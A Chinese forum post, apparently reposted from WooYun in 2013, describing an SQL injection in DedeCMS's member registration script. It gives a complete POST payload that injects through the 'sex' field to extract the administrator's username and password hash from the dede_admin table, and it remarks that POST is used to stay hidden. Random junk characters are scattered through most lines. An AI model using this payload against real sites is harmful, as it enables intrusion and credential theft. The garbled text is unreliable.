漏洞类型： SQL注射漏洞
1 ~* A0 ^ K5 m; ^简要描述：
( i* p0 ~. o/ |# P, F, z% j 8 |, B' G9 ~& x6 Z4 X0 I
需要magic_quotes_gpc=Off,应该是没有什么大危害的漏洞.
& A" |9 M+ \8 e6 X7 L; m7 K o原来在wooyun发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码., n: W) ~: p J1 G5 s* R# R
详细说明：跟这个漏洞
! V! G% g3 [) Z# Y s
$ c9 L+ D6 b7 I* e5 ?4 {! k# \WooYun: Dedecms SQL注射导致审核机制绕过漏洞3 ^0 s6 v5 F* \( p ~
是一个漏洞.其实不仅仅是审核机制绕过,可以获得管理员密码的.
6 b! z2 }# g1 c5 h8 z- M6 g4 XPOST提交以下数据,其实不用POST提交的,这样隐蔽点.2 S# \/ F! x6 y# e7 f5 R. ^7 y
$ N& b9 q3 M- g9 G* M/ `
www.political-security.com/member/reg_new.php& E" x, j- n1 k( ?( H
9 L: \0 W7 |. L& c+ d l1 { s/ C
POST* P* ]4 N; G9 ^$ o' i) }. n
) Z" T2 ?: i/ C4 D9 V \ L
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&' @4 w7 s: l$ E. S% }' s7 h* }1 P
userid=c4rp3nt3r&uname=c4rp3nt3r7 |9 k. o3 n+ h2 Z, V3 T% P. r
&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss% o* {3 ?% o- z& \: u* b
&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,! E, v& P. ~! b5 l3 C
(select concat(userid,0x3a,pwd) from `dede_admin` limit 1),0,'',1316751900,'',1316751900,'');8 Q0 }2 y& G& }% z% B* Q+ j) b
%00&vdcode=glos&agree= |
发表于 2013-1-19 08:25:02
收藏
支持
反对